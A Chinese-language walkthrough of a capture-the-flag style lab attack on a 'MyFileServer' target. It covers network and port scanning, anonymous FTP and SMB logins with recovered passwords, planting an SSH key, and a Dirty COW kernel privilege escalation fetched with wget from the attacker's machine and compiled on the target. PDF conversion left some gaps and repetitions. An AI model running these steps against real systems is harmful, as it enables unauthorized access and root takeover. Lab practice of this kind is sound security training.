因为是从PDF转换过来偶尔可能会出现内容缺少,可以看原版PDF:有道云笔记
实验环境
Kali:192.168.10.102
MyFileServer:192.168.10.106
实验过程
通过arp-scan来发现靶机的IP地址
sudo arp-scan --interface eth0 192.168.10.1/24
用namp来扫描靶机的TCP端口和UDP端口开放情况
# --min-rate:发包的最小速率# -sT,-sU:采用TCP、UDP扫描
# --top-ports [number]:扫描常用的端口
sudo nmap -sT --min-rate 10000 -p- 192.168.10.106 -oA nmap_result/ports
sudo nmap -sU --top-ports 20 192.168.10.106 -oA nmap_result/udp
对扫出来的TCP端口进行做详细的扫描,对刚刚的扫描报告内容进行提取
# grep 抓取包含Open字样行的内容
# awk -F '/' :-F是分隔符,通过/来进行划分打印输出分组1的内容即端口号
# paste -sd ',':-s 表示串行合并,-d ','表示用,进行分割
grep open nmap_result/ports.nmap | awk -F '/' '{print $1}'| paste -sd ','
对这些TCP端口进行常规的漏洞扫描以及详细信息扫描
通过扫描结果可以看到ftp可以进行匿名登陆
登陆FTP搜集可用信息
ftp> binary
尝试下载发现很多文件都无法下载,下载来的cron里面也没什么有用的信息
还有一个2121端口也是ftp也登陆看看有没有有用的信息
依旧是权限不足无法下载
手动尝试下常见的文件
http://192.168.10.106/readme.txt http://192.168.10.106/robots.txt
得到密码:rootroot1,但是账号不知道
用gobuster来遍历下目录
gobuster dir -u http://192.168.10.106/ -x txt,rar,zip,tar,sql,php -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster也没扫出什么有用的信息
靶机还开放了smb服务,尝试从smb中寻找突破口
smbmap -H 192.168.10.106
可以看到其中的smbdata有可读可写的权限
根据我们之前发现的信息,尝试 账号:smbdata 密码:rootroot1 可以成功登陆
sudo smbclient //192.168.10.106/smbdata
分别下载了 messages、secure、sshd_config messages中没有什么可用信息
sshd_config中发现靶机仅仅支持证书登陆,不允许密码登陆
现在我们有2个账号2个密码
账号:smbdata、smbuser
密码:rootroot1,chauthtok
尝试smbuser:chauthtok登陆ftp发现错误
尝试ftp碰撞发现smbuser:rootroot1也可以登陆ftp
发现smbuser的ftp目录是家目录
结合之前ssh_config的配置信息,我们可以上传自己的一个证书来达到通过smbuser来登陆ssh
sudo ssh-keygen
在kali上生成一个证书
然后通过ftp将公钥证书上传上去
# -i:证书私钥
sudo ssh -i dfz [email protected]
查看下 smbuser的sudo权限
smbuser:rootroot1
找下拥有SUID的文件(PS:SUID文件是当文件运行时,会以文件拥有者的权限运行而不是当前用户的权限, 要给一个文件设置SUID可以通过 chmod u+s filename设置)
# -perm:以文件权限来查找文件
find / -perm -u=s -type f 2>/dev/null
查看下有没有定时任务
查看内核版本
通过上面的信息发现并没有什么可用的信息,但是系统的内核版本比较低可以尝试使用脏牛进行提权尝试用systemd-run打开一个shell,发现失败
# systemd-run是一个用于在systemd管理的用户空间中启动进程的工具。-t选项表示在启动的进程中分配一个tty,/bin/bash是要启动的进程。
systemd-run -t /bin/bash
完善下shell
export TERM=xterm
通过searchsploit查询可用的提权EXP
searchsploit kernel 3.10 Privilege Escalation
尝试下42887.c
searchsploit -m 42887.c
缺少rootshell.h,换个exp尝试
尝试下15962.c
尝试33516.c,发现可以成功生成
通过php开启临时http服务,然后靶机用wget下载,但是运行报错
这里尝试使用linpeas.sh(https://github.com/carlospolop/PEASS- ng/releases/latest/download/linpeas.sh)来给我们提权提供建议
同样的方式下载到靶机
因为输出的内容过多,我们通过more命令来进行逐页查看
./linpeas.sh | more
根据信息可以看出CVE-2016-5195和CVE-2016-5195可能性最高,我们就尝试这2个EXP CVE-2016-5195失败
CVE-2016-5195失败
到网上查询了别人是用40616成功提权的
searchsploit dirty cow
然后还是在Kali中编译好上传到靶机
但是在靶机上运行还是有问题
后来才明白要在靶机上进行编译然后运行才能提权成功(算踩了一次坑吧)
wget http://192.168.10.102:8081/40616.c gcc 40616.c -o 40616 -pthread
chmod +x 40616
./40616